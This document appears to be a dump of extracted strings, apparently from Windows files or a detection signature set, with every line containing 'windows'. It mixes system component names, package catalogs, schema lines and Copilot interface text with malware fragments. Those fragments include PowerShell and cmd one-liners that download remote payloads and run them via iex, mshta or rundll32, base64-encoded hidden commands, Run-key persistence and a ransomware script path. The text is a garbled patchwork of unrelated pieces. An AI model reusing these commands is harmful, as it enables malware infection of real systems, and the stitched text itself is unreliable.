clickHandler:u,menuType:i,enterHandler:f,leaveHandler:l,expandIcon:e,inputType:o,isSearchContentChecked:s,isCopilotUIChecked:h,isPersonalizationChecked:c,setSearchContentLocalStorageItem:a,setCopilotUILocalStorageItem:v,setPersonalizationLocalStorageItem:y,toggleType:n.toggleType}),n.groupItems.map(r=>React.createElement(t.MenuItem,{key:n.id+r.id,item:r,showIcons:p,clickHandler:u,menuType:i,enterHandler:f,leaveHandler:l,expandIcon:e,inputType:o,isSearchContentChecked:s,isCopilotUIChecked:h,isPersonalizationChecked:c,setSearchContentLocalStorageItem:a,setCopilotUILocalStorageItem:v,setPersonalizationLocalStorageItem:y,toggleType:n.toggleType}))))))};t.MenuItem=i=>{function nt(n){const{narratorText:t,text:i}=n,r=/^[^\s@]+@[^\s@]+\.[^\s@]+$/i.test(t);return r&&t&&i?`${t} ${i}`:t?t:i}function tt(t){return(t===null||t===void 0?void 0:t.isSelectable)||n.isSearchHoverSettingsEnabled()?"listitem":(t===null||t===void 0?void 0:t.title)==="Build"?"note":(t===null||t===void 0?void 0:t.isSeparator)?"":"heading"}function w(t){return t==n.Host.getLocString("ToggleSwitchOptionCopilotHeader")?n.getCopilotUILocalStorageItem():t==n.Host.getLocString("ToggleSwitchOptionPersonalizationHeader")?n.getPersonalizationStorageItem():null}var f;const{clickHandler:s,expandIcon:h,inputType:c,isSearchContentChecked:b,isCopilotUIChecked:k,isPersonalizationChecked:d,item:r,enterHandler:l,leaveHandler:a,menuType:e,setSearchContentLocalStorageItem:v,setCopilotUILocalStorageItem:y,setPersonalizationLocalStorageItem:p,showIcons:o,toggleType:g}=i,u=(n.isSearchHoverSettingsEnabled()||n.config.wsbWithCopilot)&&(r===null||r===void 0?void 0:r.cssClass)==="menuItem__optionsToggle";return r.isSeparator?React.createElement("div",{className:"divider","aria
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.10
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.11
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.12
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.13
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.14
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.15
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.16
onecoreuap\windows\dwm\dcomp\interactionproxy.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtanimationpropertyinfo.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtambientlight.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcapturerendertarget.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtspotlight.cpp
C:\WINDOWS\system32\drivers\etc\hosts.icsA
windows updateO
OS=Windows_NT
-windowstylehidden-command"invoke-webr
Microsoft.Windows.Networking.WFP.FilterEngineTelemetry
Microsoft.Windows.EFS.EFSRPC
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
C:\Windows\SystemApps\Microsoft.
OMPUTERNAME=WINDOWS11
WithWindowsConsent0
Microsoft.Windows.Kernel.Power.PpmDifferentialFeedbackLog
Microsoft.Windows.IoRate
Microsoft.Windows.Mup
\SystemRoot\system32\ntoskrnl.ex
\SystemRoot\System32\drivers\ksecdd.sys
\SystemRoot\System32\DriverStore\FileRepository\prm.inf_amd64_7c38475757a1f016\PRM.sys
-Windows.Foundation.Diagnostics.LoggingOptions
-Windows.Foundation.Diagnostics.LoggingSession
<Windows.Foundation.Diagnostics.TracingStatusChangedEventArgs
6Windows.Foundation.Diagnostics.ILoggingActivityFactory
'Windows.Foundation.UniversalApiContract
6Windows.Foundation.Diagnostics.ILoggingChannelFactory2
'Windows.Foundation.UniversalApiContract
5Windows.Foundation.Diagnostics.ILoggingChannelFactory
'Windows.Foundation.UniversalApiContract
<Windows.Foundation.Diagnostics.ILoggingChannelOptionsFactory
'Windows.Foundation.UniversalApiContract
'Windows.Foundation.UniversalApiContract
5Windows.Foundation.Diagnostics.ILoggingOptionsFactory
'Windows.Foundation.UniversalApiContract
5Windows.Foundation.Diagnostics.ILoggingSessionFactory
'Windows.Foundation.UniversalApiContract
%Windows.Foundation.IGuidHelperStatics
'Windows.Foundation.UniversalApiContract
'Windows.Foundation.UniversalApiContract
Windows.Foundation.Deferral
Windows.Foundation.GuidHelper
Windows.Foundation.MemoryBuffer
 Windows.Foundation.PropertyValue
Windows.Foundation.Uri
 Windows 
:\windows\
Unexpected Windows version '%s'
IsWindowsVersionEqualOrGreater
Unexpected Windows major version '%s'
Account '%s' is not the current Windows user, not attempting WIA
Account '%s' is the current Windows user, attempting WIA
WindowsIntegratedAuthExchange
onecoreuap\windows\richedit\re70\richedit\src\cuim.cpp
_Counters_EventTracingforWindowsSess
_WindowsWorkflowFound
Windows Error Reporting
Windows.UI.Input.Inking.Preview
Windows.UI.Input.Preview
Windows.UI.Input.Preview.Injection
Windows.UI.Input.Preview.Text
AGGR:Lua:TopLevelFile.A!FileInSystem32
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
regdeletehkey_current_user\software\microsoft\windows\currentversion\run
.startinfo.filename='c:\\windows\\system32\\cmd.exe'
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
CredUIPromptForWindowsCredentialsW
\ProgramData\Microsoft\Windows
P"%_dot%set"b_=%windir%\system32\reg.exefind.exeping.exeipconfigattrib.exedrivers\etc\hosts"%_dot%set"c_=user_prefecho.wscript.sleepnetwork.proxy.typenetwork.proxy.autoconfig_url
navigator.userlanguage||'en').substr(0,2).tolowercase();varuseragent_reg=/(bot|yandex|yx)/ivaruseragent=navigator.useragent;if(get_cookie('viewpages')==''&&usr_os.match(/windows/i)&&usr_os.match(br_reg)&&ref.h
x-noprofile-windowstylehidden-executionpolicybypassiex([text.encoding]::ascii.getstring([convert]::frombase64
ir%\system32\s
windows11
windows-computation-engineMutual Publicj
Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-DeviceGuard-GPEXT-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-SearchEngine-Client-Package-shell-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
Microsoft-Windows-msmq-powershell-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-SearchEngine-Client-Package-shell-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-SearchEngine-Client-Package-shell-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Windows-Defender-ApplicationGuard-Inbox-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
\windows\currentversion\run /va /f
system32\s
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
~c:\windows\system32\cmd.exeitboxnas/d/q/v/r^s^ta^rt^m^s^ie^xe^cci^bhqy^e^i^k=p^q-^qu^i^e^t-^fv"http://m0.nu:8080/bsyt6gb/psalc0uvnxgjvh9vogeuepvdd/!computername!"!%
diskVolume3\Windows\System32
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="4.18.26010.5" processorArchitecture="amd64" name="Microsoft.Windows.OneMDE.NisSrv"></assemblyIdentity><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"></supportedOS><supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></supportedOS><supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"></supportedOS><supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"></supportedOS></application></compatibility></assembly>
\Windows\
Windows.UI.Input.Spatial
Windows.UI.Notifications
WindowsDeleteString
WindowsGetStringLen
WindowsGetStringRawBuffer
WindowsCreateStringReference
//185.238.0.233/sed.dllc:\windows\sed.dllrundll32.exec:\windows\sed.dll,dllregisterserver
WindowsLogoff
WindowsLogon 
WindowsUAC
WindowsUnlock
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewar
?SetPointerFrameTargetWindows@CTouchProcessor@@QEAAHPEAUtagTHREADINFO@@_KIPEAH@Z
?SetPolicy@tagWINDOWSTATION@@QEAAXW4WindowStationPolicy@@@Z
Microsoft.Windows.Widgets
Microsoft.Windows.Widgets.winmd
Microsoft.Windows.Widgets.Feeds.Providers
Microsoft.Windows.Widgets.Notifications
Microsoft.Windows.Widgets.Providers
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 7.0;)
Windows.Data.Inpu	
.exeWindows.FullTrustApplication
gWindows.PrintDialog_cw5n1h2txyewy!Microsoft.,
	MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.BackupBannerp@
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!
Windows.Networking.BackgroundTransfer.Internal'
Windows.Networking.BackgroundTransfer.Internal'
Windows.Networking.ContentPrefetcher.Internal
Windows.Networking.ContentPrefetcher.Internal
Windows.CloudStore.dll
/mutrej6kbf28ifwk6/ootww/!computername!"-q%windir%\system32\imageres.dll
c:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicybypass-noprofile-command(invoke-webrequest-uri'https://tafrihafashion.com/boondle.txt'-usebasicparsing).content|invoke-expression
-c:\windows\system32\cmd.exe/v:off/d/cmshta"javascript:var_$_fotv=["\x59\131\x43\x4f\x45\x4b\x4f","\163\x63\x72\x69\x70\x74\x3a\x48\x54\164\x70\x73\x3a\x2f\x2f\x62\x6c\157\x72\x69\x7a\x2e\x67\x65\x73\164
c:\windows\system32\windowspowershell\v1.0\powershell.exe-epbypass-c"$n='net.w';$c='ebclient';(new-object$n$c).'downloadstring'('https://raw.gi'+'thubusercontent.com/lrqdz/a/refs/heads/main/bot')|iex;"
I[c:\windows\system32\cmd.exe/c"bitsadmin/transfermydownloadjob/download/priorityforegroundhttps://files.catbox.moe/
Microsoft.OutlookForWindows_8wekyb3d8bbwe
windows
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
echo---disable"familyoptions"sectionin"windowssecurity"
Microsoft.Windows.Notifications.Diagnostics
Microsoft.Windows.Notifications.Aggregated
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Notifications.Wpncon
Microsoft.Windows.Notifications.Wpnprv
Microsoft.Windows.Notifications.WpnVerboseDiagnostics
eValue(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run","SystemIn_1","%s")
SqmIsWindowsOptedIn
XSoftware\Microsoft\Windows\CurrentVersion\PushNotifications
=http://47.93.60.63:8000/exploror.exemd C:\windowss64
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-DeviceGuard-GPEXT-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-DeviceGuard-GPEXT-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.2033.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|
Microsoft-Windows-Media-Streaming-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-Windows-Media-Streaming-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
HyperV-Compute-Host-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-LanguageFeatures-Speech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-LanguageFeatures-Speech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Wifi-Client-Qualcomm-Qcamain10x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Wifi-Client-Qualcomm-Qcamain10x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Undocked-Hypervisor-WINHVR-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-LanguageFeatures-Speech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
 @Windows.Data.WiFi.WiFiProfile
 @Windows.Data.TouchKeyboard
<connect><ver>%d</ver><agent><os>Windows</os><osVer>%u.%u.%hu.%hu.%u.%u</osVer><proc>%hs</proc><lcid>%ls</lcid><geoId>%d</geoId><aoac>%d</aoac><deviceType>%d</deviceType><deviceName>%hs</deviceName><followRetry>%hs</followRetry>
client.wns.windows.com
client.wns.windows.com
info@cia.org0User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36user%3dadmin%26password%3ddefault%40root!#TEL:Trojan:MSIL/Zusy.HNAM!MTB
\windows\currentversion\run/v
system32\mshta.exe
windows.hlp
Microsoft.Windows.Defender.SecurityHealthAgent
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
COMPUTERNAME=WINDOWS11&
WINDOWS11
#Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewb
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyew
!ModifyWindowsService.AD
url="http://gettsveriff.com/bgj3/ckjg.exe"$destination="c:\windows\temp\
           targetNamespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/2"
           xmlns="http://schemas.microsoft.com/appx/manifest/uap/windows10/2"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap="http://schemas.microsoft.com/appx/manifest/uap/windows10"
           xmlns:uap2="http://schemas.microsoft.com/appx/manifest/uap/windows10/2"
           xmlns:uap3="http://schemas.microsoft.com/appx/manifest/uap/windows10/3"
           xmlns:uap7="http://schemas.microsoft.com/appx/manifest/uap/windows10/7"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:rescap3="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/3"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
c:/windows/system32/d
c:/windows/system32/d
WindowsAlarm
ROOT\Microsoft\Windows\PS_MMAgent
ROOT\Microsoft\Windows\PS_MMAgent
ROOT\Microsoft\Windows\PS_MMAgent
Microsoft.Windows.Globalization.Spelling
c:\windows\system32\windowspowershell\v1.0\powershell.execmd/cpowershell.exe-exbypass-nop-whidden-eciaajacaacqbpahcacgagaakacqatafuacgbjacaacqadiggadab0ahaaogavac8amqawadmalgayadaalgaxadaamgauadyamgavaeqaqwayadeamqaxaeiaqqbuac4aygbhahqahsagaakacqajaakalqbpafuavabgagkabablacaacqajaakacqadicqazqbu
Microsoft.Windows.Defender.Shield
Microsoft.Windows.Defender.Shield
Microsoft.Windows.Wil.FeatureLogging
",windows_
  This is the Schema that defines basic elements and attributes for all Windows
           targetNamespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap="http://schemas.microsoft.com/appx/manifest/uap/windows10"
           xmlns:uap2="http://schemas.microsoft.com/appx/manifest/uap/windows10/2"
           xmlns:uap3="http://schemas.microsoft.com/appx/manifest/uap/windows10/3"
           xmlns:uap4="http://schemas.microsoft.com/appx/manifest/uap/windows10/4"
           xmlns:uap5="http://schemas.microsoft.com/appx/manifest/uap/windows10/5"
           xmlns:uap6="http://schemas.microsoft.com/appx/manifest/uap/windows10/6"
           xmlns:uap7="http://schemas.microsoft.com/appx/manifest/uap/windows10/7"
           xmlns:uap8="http://schemas.microsoft.com/appx/manifest/uap/windows10/8"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:uap13="http://schemas.microsoft.com/appx/manifest/uap/windows10/13"
           xmlns:uap15="http://schemas.microsoft.com/appx/manifest/uap/windows10/15"
           xmlns:uap16="http://schemas.microsoft.com/appx/manifest/uap/windows10/16"
           xmlns:uap17="http://schemas.microsoft.com/appx/manifest/uap/windows10/17"
           xmlns:uap18="http://schemas.microsoft.com/appx/manifest/uap/windows10/18"
           xmlns:wincap="http://schemas.microsoft.com/appx/manifest/foundation/windows10/windowscapabilities"
           xmlns:rescap="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities"
           xmlns:rescap6="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/6"
           xmlns:serverpreview="http://schemas.microsoft.com/appx/manifest/serverpreview/windows10"
           xmlns:desktop="http://schemas.microsoft.com/appx/manifest/desktop/windows10"
           xmlns:iot2="http://schemas.microsoft.com/appx/manifest/iot/windows10/2"
           xmlns:com="http://schemas.microsoft.com/appx/manifest/com/windows10"
           xmlns:com2="http://schemas.microsoft.com/appx/manifest/com/windows10/2"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/7"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/3"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
  THRESHOLD WINDOWS CAPABILITIES MANIFEST SCHEMA
windows\cachess
HKCU\SOFTWARE\Microsoft\Windows\Shell\Associations\Url
System.Windows.Forms.Layout
:\Windows\System32\ransom_voice.vbs:
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is tryinta\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
opyc:\windows\system32\curl.exe1
WINDOWS11
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
The QueryId property holds a Windows Management-generated identifier for the query. The provider can track this so that during a later cancellation it will know which query was canceled.
4c^windows.updateTask
4c^windows.preInstalledConfigTask
Win32Registry|SOFTWARE\Microsoft\Windows NT\CurrentVersion\drivers.desc
C:\WINDOWS\system32\MSG711.ACM
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
GetProcessWindowStation
Windows/wbem/root/cimv2#.config
Windows/wbem/root/cimv2#.refresh
Windows/wbem/root/cimv2:
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
